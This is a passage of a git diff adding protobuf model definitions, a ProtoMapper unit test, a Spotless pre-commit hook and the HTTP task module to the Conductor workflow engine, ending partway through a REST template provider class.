+1,21 @@ +syntax = "proto3"; +package conductor.proto; + +import "model/workflowdef.proto"; +import "google/protobuf/struct.proto"; + +option java_package = "com.netflix.conductor.proto"; +option java_outer_classname = "StartWorkflowRequestPb"; +option go_package = "github.com/netflix/conductor/client/gogrpc/conductor/model"; + +message StartWorkflowRequest { + string name = 1; + int32 version = 2; + string correlation_id = 3; + map input = 4; + map task_to_domain = 5; + WorkflowDef workflow_def = 6; + string external_input_payload_storage_path = 7; + int32 priority = 8; + string created_by = 9; +} diff --git a/grpc/src/main/proto/model/statechangeevent.proto b/grpc/src/main/proto/model/statechangeevent.proto new file mode 100644 index 0000000..57660ea --- /dev/null +++ b/grpc/src/main/proto/model/statechangeevent.proto @@ -0,0 +1,13 @@ +syntax = "proto3"; +package conductor.proto; + +import "google/protobuf/struct.proto"; + +option java_package = "com.netflix.conductor.proto"; +option java_outer_classname = "StateChangeEventPb"; +option go_package = "github.com/netflix/conductor/client/gogrpc/conductor/model"; + +message StateChangeEvent { + string type = 1; + map payload = 2; +} diff --git a/grpc/src/main/proto/model/subworkflowparams.proto b/grpc/src/main/proto/model/subworkflowparams.proto new file mode 100644 index 0000000..4a52f45 --- /dev/null +++ b/grpc/src/main/proto/model/subworkflowparams.proto @@ -0,0 +1,15 @@ +syntax = "proto3"; +package conductor.proto; + +import "google/protobuf/struct.proto"; + +option java_package = "com.netflix.conductor.proto"; +option java_outer_classname = "SubWorkflowParamsPb"; +option go_package = "github.com/netflix/conductor/client/gogrpc/conductor/model"; + +message SubWorkflowParams { + string name = 1; + int32 version = 2; + map task_to_domain = 3; + google.protobuf.Value workflow_definition = 4; +} diff --git a/grpc/src/main/proto/model/task.proto b/grpc/src/main/proto/model/task.proto new file mode 100644 index 0000000..add80b0 --- /dev/null +++ b/grpc/src/main/proto/model/task.proto @@ -0,0 +1,68 @@ +syntax = "proto3"; +package conductor.proto; + +import "model/workflowtask.proto"; +import "model/executionmetadata.proto"; +import "google/protobuf/struct.proto"; +import "google/protobuf/any.proto"; + +option java_package = "com.netflix.conductor.proto"; +option java_outer_classname = "TaskPb"; +option go_package = "github.com/netflix/conductor/client/gogrpc/conductor/model"; + +message Task { + enum Status { + IN_PROGRESS = 0; + CANCELED = 1; + FAILED = 2; + FAILED_WITH_TERMINAL_ERROR = 3; + COMPLETED = 4; + COMPLETED_WITH_ERRORS = 5; + SCHEDULED = 6; + TIMED_OUT = 7; + SKIPPED = 8; + } + string task_type = 1; + Task.Status status = 2; + map input_data = 3; + string reference_task_name = 4; + int32 retry_count = 5; + int32 seq = 6; + string correlation_id = 7; + int32 poll_count = 8; + string task_def_name = 9; + int64 scheduled_time = 10; + int64 start_time = 11; + int64 end_time = 12; + int64 update_time = 13; + int32 start_delay_in_seconds = 14; + string retried_task_id = 15; + bool retried = 16; + bool executed = 17; + bool callback_from_worker = 18; + int64 response_timeout_seconds = 19; + string workflow_instance_id = 20; + string workflow_type = 21; + string task_id = 22; + string reason_for_incompletion = 23; + int64 callback_after_seconds = 24; + string worker_id = 25; + map output_data = 26; + WorkflowTask workflow_task = 27; + string domain = 28; + google.protobuf.Any input_message = 29; + google.protobuf.Any output_message = 30; + int32 rate_limit_per_frequency = 32; + int32 rate_limit_frequency_in_seconds = 33; + string external_input_payload_storage_path = 34; + string external_output_payload_storage_path = 35; + int32 workflow_priority = 36; + string execution_name_space = 37; + string isolation_group_id = 38; + int32 iteration = 40; + string sub_workflow_id = 41; + bool subworkflow_changed = 42; + int64 first_start_time = 43; + ExecutionMetadata execution_metadata = 44; + string parent_task_id = 45; +} diff --git a/grpc/src/main/proto/model/taskdef.proto b/grpc/src/main/proto/model/taskdef.proto new file mode 100644 index 0000000..ca747ba --- /dev/null +++ b/grpc/src/main/proto/model/taskdef.proto @@ -0,0 +1,45 @@ +syntax = "proto3"; +package conductor.proto; + +import "google/protobuf/struct.proto"; + +option java_package = "com.netflix.conductor.proto"; +option java_outer_classname = "TaskDefPb"; +option go_package = "github.com/netflix/conductor/client/gogrpc/conductor/model"; + +message TaskDef { + enum TimeoutPolicy { + RETRY = 0; + TIME_OUT_WF = 1; + ALERT_ONLY = 2; + } + enum RetryLogic { + FIXED = 0; + EXPONENTIAL_BACKOFF = 1; + LINEAR_BACKOFF = 2; + } + string name = 1; + string description = 2; + int32 retry_count = 3; + int64 timeout_seconds = 4; + repeated string input_keys = 5; + repeated string output_keys = 6; + TaskDef.TimeoutPolicy timeout_policy = 7; + TaskDef.RetryLogic retry_logic = 8; + int32 retry_delay_seconds = 9; + int64 response_timeout_seconds = 10; + int32 concurrent_exec_limit = 11; + map input_template = 12; + int32 rate_limit_per_frequency = 14; + int32 rate_limit_frequency_in_seconds = 15; + string isolation_group_id = 16; + string execution_name_space = 17; + string owner_email = 18; + int32 poll_timeout_seconds = 19; + int32 backoff_scale_factor = 20; + int32 max_retry_delay_seconds = 24; + int32 backoff_jitter_ms = 25; + string base_type = 21; + int64 total_timeout_seconds = 22; + bool task_status_listener_enabled = 23; +} diff --git a/grpc/src/main/proto/model/taskexeclog.proto b/grpc/src/main/proto/model/taskexeclog.proto new file mode 100644 index 0000000..f67b2e4 --- /dev/null +++ b/grpc/src/main/proto/model/taskexeclog.proto @@ -0,0 +1,13 @@ +syntax = "proto3"; +package conductor.proto; + + +option java_package = "com.netflix.conductor.proto"; +option java_outer_classname = "TaskExecLogPb"; +option go_package = "github.com/netflix/conductor/client/gogrpc/conductor/model"; + +message TaskExecLog { + string log = 1; + string task_id = 2; + int64 created_time = 3; +} diff --git a/grpc/src/main/proto/model/taskresult.proto b/grpc/src/main/proto/model/taskresult.proto new file mode 100644 index 0000000..13cf944 --- /dev/null +++ b/grpc/src/main/proto/model/taskresult.proto @@ -0,0 +1,28 @@ +syntax = "proto3"; +package conductor.proto; + +import "model/executionmetadata.proto"; +import "google/protobuf/struct.proto"; +import "google/protobuf/any.proto"; + +option java_package = "com.netflix.conductor.proto"; +option java_outer_classname = "TaskResultPb"; +option go_package = "github.com/netflix/conductor/client/gogrpc/conductor/model"; + +message TaskResult { + enum Status { + IN_PROGRESS = 0; + FAILED = 1; + FAILED_WITH_TERMINAL_ERROR = 2; + COMPLETED = 3; + } + string workflow_instance_id = 1; + string task_id = 2; + string reason_for_incompletion = 3; + int64 callback_after_seconds = 4; + string worker_id = 5; + TaskResult.Status status = 6; + map output_data = 7; + google.protobuf.Any output_message = 8; + ExecutionMetadata execution_metadata = 9; +} diff --git a/grpc/src/main/proto/model/tasksummary.proto b/grpc/src/main/proto/model/tasksummary.proto new file mode 100644 index 0000000..2243fda --- /dev/null +++ b/grpc/src/main/proto/model/tasksummary.proto @@ -0,0 +1,31 @@ +syntax = "proto3"; +package conductor.proto; + +import "model/task.proto"; + +option java_package = "com.netflix.conductor.proto"; +option java_outer_classname = "TaskSummaryPb"; +option go_package = "github.com/netflix/conductor/client/gogrpc/conductor/model"; + +message TaskSummary { + string workflow_id = 1; + string workflow_type = 2; + string correlation_id = 3; + string scheduled_time = 4; + string start_time = 5; + string update_time = 6; + string end_time = 7; + Task.Status status = 8; + string reason_for_incompletion = 9; + int64 execution_time = 10; + int64 queue_wait_time = 11; + string task_def_name = 12; + string task_type = 13; + string input = 14; + string output = 15; + string task_id = 16; + string external_input_payload_storage_path = 17; + string external_output_payload_storage_path = 18; + int32 workflow_priority = 19; + string domain = 20; +} diff --git a/grpc/src/main/proto/model/upgradeworkflowrequest.proto b/grpc/src/main/proto/model/upgradeworkflowrequest.proto new file mode 100644 index 0000000..f9ebcf8 --- /dev/null +++ b/grpc/src/main/proto/model/upgradeworkflowrequest.proto @@ -0,0 +1,15 @@ +syntax = "proto3"; +package conductor.proto; + +import "google/protobuf/struct.proto"; + +option java_package = "com.netflix.conductor.proto"; +option java_outer_classname = "UpgradeWorkflowRequestPb"; +option go_package = "github.com/netflix/conductor/client/gogrpc/conductor/model"; + +message UpgradeWorkflowRequest { + map task_output = 4; + map workflow_input = 3; + int32 version = 2; + string name = 1; +} diff --git a/grpc/src/main/proto/model/workflow.proto b/grpc/src/main/proto/model/workflow.proto new file mode 100644 index 0000000..d623a2d --- /dev/null +++ b/grpc/src/main/proto/model/workflow.proto @@ -0,0 +1,43 @@ +syntax = "proto3"; +package conductor.proto; + +import "model/workflowdef.proto"; +import "model/task.proto"; +import "google/protobuf/struct.proto"; + +option java_package = "com.netflix.conductor.proto"; +option java_outer_classname = "WorkflowPb"; +option go_package = "github.com/netflix/conductor/client/gogrpc/conductor/model"; + +message Workflow { + enum WorkflowStatus { + RUNNING = 0; + COMPLETED = 1; + FAILED = 2; + TIMED_OUT = 3; + TERMINATED = 4; + PAUSED = 5; + } + Workflow.WorkflowStatus status = 1; + int64 end_time = 2; + string workflow_id = 3; + string parent_workflow_id = 4; + string parent_workflow_task_id = 5; + repeated Task tasks = 6; + map input = 8; + map output = 9; + string correlation_id = 12; + string re_run_from_workflow_id = 13; + string reason_for_incompletion = 14; + string event = 16; + map task_to_domain = 17; + repeated string failed_reference_task_names = 18; + WorkflowDef workflow_definition = 19; + string external_input_payload_storage_path = 20; + string external_output_payload_storage_path = 21; + int32 priority = 22; + map variables = 23; + int64 last_retried_time = 24; + repeated string failed_task_names = 25; + repeated Workflow history = 26; +} diff --git a/grpc/src/main/proto/model/workflowdef.proto b/grpc/src/main/proto/model/workflowdef.proto new file mode 100644 index 0000000..1e4b833 --- /dev/null +++ b/grpc/src/main/proto/model/workflowdef.proto @@ -0,0 +1,43 @@ +syntax = "proto3"; +package conductor.proto; + +import "model/ratelimitconfig.proto"; +import "model/workflowtask.proto"; +import "google/protobuf/struct.proto"; +import "model/schemadef.proto"; +import "model/cacheconfig.proto"; + +option java_package = "com.netflix.conductor.proto"; +option java_outer_classname = "WorkflowDefPb"; +option go_package = "github.com/netflix/conductor/client/gogrpc/conductor/model"; + +message WorkflowDef { + enum TimeoutPolicy { + TIME_OUT_WF = 0; + ALERT_ONLY = 1; + } + string name = 1; + string description = 2; + int32 version = 3; + repeated WorkflowTask tasks = 4; + repeated string input_parameters = 5; + map output_parameters = 6; + string failure_workflow = 7; + int32 schema_version = 8; + bool restartable = 9; + bool workflow_status_listener_enabled = 10; + string owner_email = 11; + WorkflowDef.TimeoutPolicy timeout_policy = 12; + int64 timeout_seconds = 13; + map variables = 14; + map input_template = 15; + int32 failure_workflow_version = 16; + string workflow_status_listener_sink = 17; + RateLimitConfig rate_limit_config = 18; + SchemaDef input_schema = 19; + SchemaDef output_schema = 20; + bool enforce_schema = 21; + map metadata = 22; + CacheConfig cache_config = 23; + repeated string masked_fields = 24; +} diff --git a/grpc/src/main/proto/model/workflowdefsummary.proto b/grpc/src/main/proto/model/workflowdefsummary.proto new file mode 100644 index 0000000..2d040e2 --- /dev/null +++ b/grpc/src/main/proto/model/workflowdefsummary.proto @@ -0,0 +1,14 @@ +syntax = "proto3"; +package conductor.proto; + + +option java_package = "com.netflix.conductor.proto"; +option java_outer_classname = "WorkflowDefSummaryPb"; +option go_package = "github.com/netflix/conductor/client/gogrpc/conductor/model"; + +message WorkflowDefSummary { + string name = 1; + int32 version = 2; + int64 create_time = 3; + int64 update_time = 4; +} diff --git a/grpc/src/main/proto/model/workflowsummary.proto b/grpc/src/main/proto/model/workflowsummary.proto new file mode 100644 index 0000000..8f538da --- /dev/null +++ b/grpc/src/main/proto/model/workflowsummary.proto @@ -0,0 +1,34 @@ +syntax = "proto3"; +package conductor.proto; + +import "model/workflow.proto"; + +option java_package = "com.netflix.conductor.proto"; +option java_outer_classname = "WorkflowSummaryPb"; +option go_package = "github.com/netflix/conductor/client/gogrpc/conductor/model"; + +message WorkflowSummary { + string workflow_type = 1; + int32 version = 2; + string workflow_id = 3; + string correlation_id = 4; + string start_time = 5; + string update_time = 6; + string end_time = 7; + Workflow.WorkflowStatus status = 8; + string input = 9; + string output = 10; + string reason_for_incompletion = 11; + int64 execution_time = 12; + string event = 13; + string failed_reference_task_names = 14; + string external_input_payload_storage_path = 15; + string external_output_payload_storage_path = 16; + int32 priority = 17; + repeated string failed_task_names = 18; + string created_by = 19; + map task_to_domain = 20; + string idempotency_key = 21; + string parent_workflow_id = 22; + string classifier = 23; +} diff --git a/grpc/src/main/proto/model/workflowtask.proto b/grpc/src/main/proto/model/workflowtask.proto new file mode 100644 index 0000000..db7cd33 --- /dev/null +++ b/grpc/src/main/proto/model/workflowtask.proto @@ -0,0 +1,54 @@ +syntax = "proto3"; +package conductor.proto; + +import "model/taskdef.proto"; +import "model/subworkflowparams.proto"; +import "google/protobuf/struct.proto"; +import "model/cacheconfig.proto"; + +option java_package = "com.netflix.conductor.proto"; +option java_outer_classname = "WorkflowTaskPb"; +option go_package = "github.com/netflix/conductor/client/gogrpc/conductor/model"; + +message WorkflowTask { + enum JoinMode { + SYNC = 0; + ASYNC = 1; + } + message WorkflowTaskList { + repeated WorkflowTask tasks = 1; + } + string name = 1; + string task_reference_name = 2; + string description = 3; + map input_parameters = 4; + string type = 5; + string dynamic_task_name_param = 6; + string case_value_param = 7; + string case_expression = 8; + string script_expression = 22; + map decision_cases = 9; + string dynamic_fork_tasks_param = 10; + string dynamic_fork_tasks_input_param_name = 11; + repeated WorkflowTask default_case = 12; + repeated WorkflowTask.WorkflowTaskList fork_tasks = 13; + int32 start_delay = 14; + SubWorkflowParams sub_workflow_param = 15; + repeated string join_on = 16; + string sink = 17; + bool optional = 18; + TaskDef task_definition = 19; + bool rate_limited = 20; + repeated string default_exclusive_join_task = 21; + bool async_complete = 23; + string loop_condition = 24; + repeated WorkflowTask loop_over = 25; + string items = 33; + int32 retry_count = 26; + string evaluator_type = 27; + string expression = 28; + string join_status = 30; + CacheConfig cache_config = 31; + bool permissive = 32; + WorkflowTask.JoinMode join_mode = 34; +} diff --git a/grpc/src/test/java/com/netflix/conductor/grpc/TestProtoMapper.java b/grpc/src/test/java/com/netflix/conductor/grpc/TestProtoMapper.java new file mode 100644 index 0000000..3bc3d82 --- /dev/null +++ b/grpc/src/test/java/com/netflix/conductor/grpc/TestProtoMapper.java @@ -0,0 +1,46 @@ +/* + * Copyright 2023 Conductor authors + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.grpc; + +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.proto.WorkflowTaskPb; +import org.junit.Test; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertNull; + +public class TestProtoMapper { + private final ProtoMapper mapper = ProtoMapper.INSTANCE; + + @Test + public void workflowTaskToProto() { + final WorkflowTask taskWithDefaultRetryCount = new WorkflowTask(); + final WorkflowTask taskWith1RetryCount = new WorkflowTask(); + taskWith1RetryCount.setRetryCount(1); + final WorkflowTask taskWithNoRetryCount = new WorkflowTask(); + taskWithNoRetryCount.setRetryCount(0); + assertEquals(-1, mapper.toProto(taskWithDefaultRetryCount).getRetryCount()); + assertEquals(1, mapper.toProto(taskWith1RetryCount).getRetryCount()); + assertEquals(0, mapper.toProto(taskWithNoRetryCount).getRetryCount()); + } + + @Test + public void workflowTaskFromProto() { + final WorkflowTaskPb.WorkflowTask taskWithDefaultRetryCount = WorkflowTaskPb.WorkflowTask.newBuilder().build(); + final WorkflowTaskPb.WorkflowTask taskWith1RetryCount = WorkflowTaskPb.WorkflowTask.newBuilder().setRetryCount(1).build(); + final WorkflowTaskPb.WorkflowTask taskWithNoRetryCount = WorkflowTaskPb.WorkflowTask.newBuilder().setRetryCount(-1).build(); + assertEquals(Integer.valueOf(0), mapper.fromProto(taskWithDefaultRetryCount).getRetryCount()); + assertEquals(1, mapper.fromProto(taskWith1RetryCount).getRetryCount().intValue()); + assertNull(mapper.fromProto(taskWithNoRetryCount).getRetryCount()); + } +} diff --git a/hooks/pre-commit b/hooks/pre-commit new file mode 100755 index 0000000..75c4a77 --- /dev/null +++ b/hooks/pre-commit @@ -0,0 +1,14 @@ +#!/bin/sh +# +# Pre-commit hook to auto-format code with Spotless +# +# To install: ln -s ../../hooks/pre-commit .git/hooks/pre-commit +# + +echo "Running Spotless formatter..." +./gradlew spotlessApply + +# Re-add any files that were modified by spotless +git diff --name-only --cached | xargs git add + +exit 0 diff --git a/http-task/build.gradle b/http-task/build.gradle new file mode 100644 index 0000000..3f4bbf6 --- /dev/null +++ b/http-task/build.gradle @@ -0,0 +1,27 @@ +/* + * Copyright 2023 Conductor authors + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +dependencies { + implementation project(':conductor-common') + implementation project(':conductor-core') + compileOnly 'org.springframework.boot:spring-boot-starter' + compileOnly 'org.springframework.boot:spring-boot-starter-web' + + implementation "javax.ws.rs:jsr311-api:${revJsr311Api}" + implementation("org.apache.httpcomponents.client5:httpclient5:${revApacheHttpComponentsClient5}") + + testImplementation 'org.springframework.boot:spring-boot-starter-web' + testImplementation "org.testcontainers:mockserver:${revTestContainer}" + testImplementation "org.mock-server:mockserver-client-java:${revMockServerClient}" + testImplementation "org.bouncycastle:bcprov-jdk15on:1.70" + testImplementation "org.bouncycastle:bcpkix-jdk15on:1.70" +} \ No newline at end of file diff --git a/http-task/src/main/java/com/netflix/conductor/tasks/http/HttpTask.java b/http-task/src/main/java/com/netflix/conductor/tasks/http/HttpTask.java new file mode 100644 index 0000000..55ff588 --- /dev/null +++ b/http-task/src/main/java/com/netflix/conductor/tasks/http/HttpTask.java @@ -0,0 +1,424 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.tasks.http; + +import java.io.IOException; +import java.util.ArrayList; +import java.util.Collections; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.stream.Collectors; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.http.*; +import org.springframework.stereotype.Component; +import org.springframework.util.MultiValueMap; +import org.springframework.web.client.RestClientException; +import org.springframework.web.client.RestTemplate; + +import com.netflix.conductor.core.execution.WorkflowExecutor; +import com.netflix.conductor.core.execution.tasks.WorkflowSystemTask; +import com.netflix.conductor.core.utils.Utils; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; +import com.netflix.conductor.tasks.http.providers.RestTemplateProvider; + +import com.fasterxml.jackson.annotation.JsonSetter; +import com.fasterxml.jackson.core.type.TypeReference; +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.ObjectMapper; + +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_HTTP; + +/** Task that enables calling another HTTP endpoint as part of its execution */ +@Component(TASK_TYPE_HTTP) +public class HttpTask extends WorkflowSystemTask { + + private static final Logger LOGGER = LoggerFactory.getLogger(HttpTask.class); + + public static final String REQUEST_PARAMETER_NAME = "http_request"; + + static final String MISSING_REQUEST = + "Missing HTTP request. Task input MUST have a '" + + REQUEST_PARAMETER_NAME + + "' key with HttpTask.Input as value OR provide the input parameters directly. See documentation for HttpTask for required input parameters"; + + private final TypeReference> mapOfObj = + new TypeReference>() {}; + private final TypeReference> listOfObj = new TypeReference>() {}; + protected ObjectMapper objectMapper; + protected RestTemplateProvider restTemplateProvider; + private final String requestParameter; + + @Autowired + public HttpTask(RestTemplateProvider restTemplateProvider, ObjectMapper objectMapper) { + this(TASK_TYPE_HTTP, restTemplateProvider, objectMapper); + } + + public HttpTask( + String name, RestTemplateProvider restTemplateProvider, ObjectMapper objectMapper) { + super(name); + this.restTemplateProvider = restTemplateProvider; + this.objectMapper = objectMapper; + this.requestParameter = REQUEST_PARAMETER_NAME; + LOGGER.info("{} initialized...", getTaskType()); + } + + @Override + public void start(WorkflowModel workflow, TaskModel task, WorkflowExecutor executor) { + Object request = task.getInputData().get(requestParameter); + if (request == null) { + request = task.getInputData(); + } + task.setWorkerId(Utils.getServerId()); + + Input input = objectMapper.convertValue(request, Input.class); + if (input.getUri() == null) { + String reason = + "Missing HTTP URI. See documentation for HttpTask for required input parameters"; + task.setReasonForIncompletion(reason); + task.setStatus(TaskModel.Status.FAILED); + return; + } + + if (input.getMethod() == null) { + String reason = "No HTTP method specified"; + task.setReasonForIncompletion(reason); + task.setStatus(TaskModel.Status.FAILED); + return; + } + + try { + HttpResponse response = httpCall(input); + LOGGER.debug( + "Response: {}, {}, task:{}", + response.statusCode, + response.body, + task.getTaskId()); + if (response.statusCode > 199 && response.statusCode < 300) { + if (isAsyncComplete(task)) { + task.setStatus(TaskModel.Status.IN_PROGRESS); + } else { + task.setStatus(TaskModel.Status.COMPLETED); + } + } else { + if (response.body != null) { + task.setReasonForIncompletion(response.body.toString()); + } else { + task.setReasonForIncompletion("No response from the remote service"); + } + task.setStatus(TaskModel.Status.FAILED); + } + //noinspection ConstantConditions + if (response != null) { + task.addOutput("response", response.asMap()); + } + + } catch (Exception e) { + LOGGER.error( + "Failed to invoke {} task: {} - uri: {}, vipAddress: {} in workflow: {}", + getTaskType(), + task.getTaskId(), + input.getUri(), + input.getVipAddress(), + task.getWorkflowInstanceId(), + e); + task.setStatus(TaskModel.Status.FAILED); + task.setReasonForIncompletion( + "Failed to invoke " + getTaskType() + " task due to: " + e); + task.addOutput("response", e.toString()); + } + } + + /** + * @param input HTTP Request + * @return Response of the http call + * @throws Exception If there was an error making http call Note: protected access is so that + * tasks extended from this task can re-use this to make http calls + */ + protected HttpResponse httpCall(Input input) throws Exception { + RestTemplate restTemplate = restTemplateProvider.getRestTemplate(input); + + HttpHeaders headers = new HttpHeaders(); + headers.setContentType(MediaType.valueOf(input.getContentType())); + headers.setAccept( + input.getAcceptList().stream() + .map(MediaType::valueOf) + .collect(Collectors.toList())); + + input.headers.forEach( + (key, value) -> { + if (value != null) { + headers.add(key, value.toString()); + } + }); + + HttpEntity request = new HttpEntity<>(input.getBody(), headers); + + HttpResponse response = new HttpResponse(); + try { + ResponseEntity responseEntity = + restTemplate.exchange( + input.getUri(), + HttpMethod.valueOf(input.getMethod()), + request, + String.class); + if (responseEntity.getStatusCode().is2xxSuccessful() && responseEntity.hasBody()) { + response.body = extractBody(responseEntity.getBody()); + } + + response.statusCode = responseEntity.getStatusCodeValue(); + response.reasonPhrase = + HttpStatus.valueOf(responseEntity.getStatusCode().value()).getReasonPhrase(); + response.headers = responseEntity.getHeaders(); + return response; + } catch (RestClientException ex) { + LOGGER.error( + String.format( + "Got unexpected http response - uri: %s, vipAddress: %s", + input.getUri(), input.getVipAddress()), + ex); + String reason = ex.getLocalizedMessage(); + LOGGER.error(reason, ex); + throw new Exception(reason); + } + } + + private Object extractBody(String responseBody) { + try { + JsonNode node = objectMapper.readTree(responseBody); + if (node.isArray()) { + return objectMapper.convertValue(node, listOfObj); + } else if (node.isObject()) { + return objectMapper.convertValue(node, mapOfObj); + } else if (node.isNumber()) { + return objectMapper.convertValue(node, Double.class); + } else { + return node.asText(); + } + } catch (IOException jpe) { + LOGGER.error("Error extracting response body", jpe); + return responseBody; + } + } + + @Override + public boolean execute(WorkflowModel workflow, TaskModel task, WorkflowExecutor executor) { + return false; + } + + @Override + public void cancel(WorkflowModel workflow, TaskModel task, WorkflowExecutor executor) { + task.setStatus(TaskModel.Status.CANCELED); + } + + @Override + public boolean isAsync() { + return true; + } + + public static class HttpResponse { + + public Object body; + public MultiValueMap headers; + public int statusCode; + public String reasonPhrase; + + @Override + public String toString() { + return "HttpResponse [body=" + + body + + ", headers=" + + headers + + ", statusCode=" + + statusCode + + ", reasonPhrase=" + + reasonPhrase + + "]"; + } + + public Map asMap() { + Map map = new HashMap<>(); + map.put("body", body); + map.put("headers", headers); + map.put("statusCode", statusCode); + map.put("reasonPhrase", reasonPhrase); + return map; + } + } + + public static class Input { + + private String method; // PUT, POST, GET, DELETE, OPTIONS, HEAD + private String vipAddress; + private String appName; + private Map headers = new HashMap<>(); + private String uri; + private Object body; + private List accept = + new ArrayList<>(Collections.singletonList(MediaType.APPLICATION_JSON_VALUE)); + private String contentType = MediaType.APPLICATION_JSON_VALUE; + private Integer connectionTimeOut = 3000; + private Integer readTimeOut = 3000; + + /** + * @return the method + */ + public String getMethod() { + return method; + } + + /** + * @param method the method to set + */ + public void setMethod(String method) { + this.method = method; + } + + /** + * @return the headers + */ + public Map getHeaders() { + return headers; + } + + /** + * @param headers the headers to set + */ + public void setHeaders(Map headers) { + this.headers = headers; + } + + /** + * @return the body + */ + public Object getBody() { + return body; + } + + /** + * @param body the body to set + */ + public void setBody(Object body) { + this.body = body; + } + + /** + * @return the uri + */ + public String getUri() { + return uri; + } + + /** + * @param uri the uri to set + */ + public void setUri(String uri) { + this.uri = uri; + } + + /** + * @return the vipAddress + */ + public String getVipAddress() { + return vipAddress; + } + + /** + * @param vipAddress the vipAddress to set + */ + public void setVipAddress(String vipAddress) { + this.vipAddress = vipAddress; + } + + /** + * @return the first accept media type (for backward compatibility) + */ + public String getAccept() { + return accept != null && !accept.isEmpty() + ? accept.get(0) + : MediaType.APPLICATION_JSON_VALUE; + } + + /** + * @return the full list of accept media types + */ + public List getAcceptList() { + return accept; + } + + /** + * @param accept the accept to set — accepts a String or a List of Strings + */ + @JsonSetter("accept") + public void setAccept(Object accept) { + if (accept == null) { + return; + } + if (accept instanceof String) { + this.accept = Collections.singletonList((String) accept); + } else if (accept instanceof List) { + this.accept = + ((List) accept) + .stream().map(Object::toString).collect(Collectors.toList()); + } + } + + /** + * @return the MIME content type to use for the request + */ + public String getContentType() { + return contentType; + } + + /** + * @param contentType the MIME content type to set + */ + public void setContentType(String contentType) { + this.contentType = contentType; + } + + public String getAppName() { + return appName; + } + + public void setAppName(String appName) { + this.appName = appName; + } + + /** + * @return the connectionTimeOut + */ + public Integer getConnectionTimeOut() { + return connectionTimeOut; + } + + /** + * @return the readTimeOut + */ + public Integer getReadTimeOut() { + return readTimeOut; + } + + public void setConnectionTimeOut(Integer connectionTimeOut) { + this.connectionTimeOut = connectionTimeOut; + } + + public void setReadTimeOut(Integer readTimeOut) { + this.readTimeOut = readTimeOut; + } + } +} diff --git a/http-task/src/main/java/com/netflix/conductor/tasks/http/providers/DefaultRestTemplateProvider.java b/http-task/src/main/java/com/netflix/conductor/tasks/http/providers/DefaultRestTemplateProvider.java new file mode 100644 index 0000000..dbf4760 --- /dev/null +++ b/http-task/src/main/java/com/netflix/conductor/tasks/http/providers/DefaultRestTemplateProvider.java @@ -0,0 +1,78 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.tasks.http.providers; + +import java.time.Duration; +import java.util.Optional; +import java.util.concurrent.TimeUnit; + +import org.apache.hc.client5.http.classic.HttpClient; +import org.apache.hc.client5.http.config.RequestConfig; +import org.apache.hc.client5.http.impl.classic.HttpClients; +import org.apache.hc.core5.http.io.SocketConfig; +import org.apache.hc.core5.util.Timeout; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.boot.web.client.RestTemplateBuilder; +import org.springframework.http.client.HttpComponentsClientHttpRequestFactory; +import org.springframework.lang.NonNull; +import org.springframework.stereotype.Component; +import org.springframework.web.client.RestTemplate; + +import com.netflix.conductor.tasks.http.HttpTask; + +/** + * Provider for a customized RestTemplateBuilder. This class provides a default {@link + * RestTemplateBuilder} which can be configured or extended as needed. + */ +@Component +public class DefaultRestTemplateProvider implements RestTemplateProvider { + + private final ThreadLocal threadLocalRestTemplateBuilder; + + private final int defaultReadTimeout; + private final int defaultConnectTimeout; + + public DefaultRestTemplateProvider( + @Value("${conductor.tasks.http.readTimeout:150ms}") Duration readTimeout, + @Value("${conductor.tasks.http.connectTimeout:100ms}") Duration connectTimeout) { + this.threadLocalRestTemplateBuilder = ThreadLocal.withInitial(RestTemplateBuilder::new); + this.defaultReadTimeout = (int) readTimeout.toMillis(); + this.defaultConnectTimeout = (int) connectTimeout.toMillis(); + } + + @Override + public @NonNull RestTemplate getRestTemplate(@NonNull HttpTask.Input input) { + Duration timeout = + Duration.ofMillis( + Optional.ofNullable(input.getReadTimeOut()).orElse(defaultReadTimeout)); + threadLocalRestTemplateBuilder.get().setReadTimeout(timeout); + RestTemplate restTemplate = + threadLocalRestTemplateBuilder.get().setReadTimeout(timeout).build(); + RequestConfig requestConfig = + RequestConfig.custom() + .setResponseTimeout(Timeout.ofMilliseconds(timeout.toMillis())) + .build(); + HttpClient httpClient = HttpClients.custom().setDefaultRequestConfig(requestConfig).build(); + HttpComponentsClientHttpRequestFactory requestFactory = + new 